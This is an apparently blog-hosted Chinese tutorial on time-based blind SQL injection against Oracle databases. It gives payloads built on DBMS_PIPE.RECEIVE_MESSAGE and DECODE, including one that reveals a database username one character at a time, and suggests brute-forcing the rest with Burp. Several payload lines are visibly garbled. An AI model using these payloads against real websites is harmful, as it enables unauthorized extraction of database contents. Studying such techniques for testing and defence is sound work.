4000-618-418

Oracle数据库注入之延时盲注

2021年03月30日

在诸Oracle注入中,延时盲注更多的一个名称叫做基于时间延时的盲注。


延时盲注的思路为下:

首先判断数据库中是否存在注入,考虑注入是数字型还是字符型,对当前数据库名、数据库表名和字段名进行猜解,最后猜解数据。

Oracle延时盲注需要使用到DBMS-Pipe.Receive-Message、Decode等函数来延时数据库处理时间,攻击者通过网页的加载时间来对注入结果进行判定。


延时注入可用的函数方法∶

DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)

表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。

select count(") from all_objects

大量统计操作辅助延时注入,延长时间不易控制

注意∶执行"SELECT DBMS PIPE.RECEIVE MESSAGE('RDS',5) from dual返回值是1。


(一)测试延迟代码

SQL语句如下,可以看到网络加载时间是5S,注意该函数5s后的返回值是1。

dbms_pipe.receive_message('RDS',5)from dual;

SQL注入链接如下:

1 and 1=dbms_pipe.receive_message('RDS',5)

(二)调用Decode函数进行延时判断

I DECODE(condition,value,dbms_pipe.receive_message('RDS,5)0)

意思是当condition=value时,返回dbms pipereceive_message(RDS'5),在当前页等待5秒从而达到延时注入的目的。

构造Payload如下∶

1and 1=(select decode(substr(user,1,1) T;dbms pipereceive message('RDS,5)0)from dual)-

对应SQL注入代码如下:

1 and 1=(select decode(substr(user,1,1),'E',dbms pipe.receive message('RDS',5),0)from dual)

可知用户名第一个字符是E,使用BP爆破获得用户名.

通过延迟注入获取表名,假如错误就会反馈异常,正常注入则延迟显示正常结果,比如DEMO的首字母D。

上一篇:数据库概念一览(数据库系统概念笔记)

下一篇:到底什么是武汉高防服务器(高防服务器有用吗)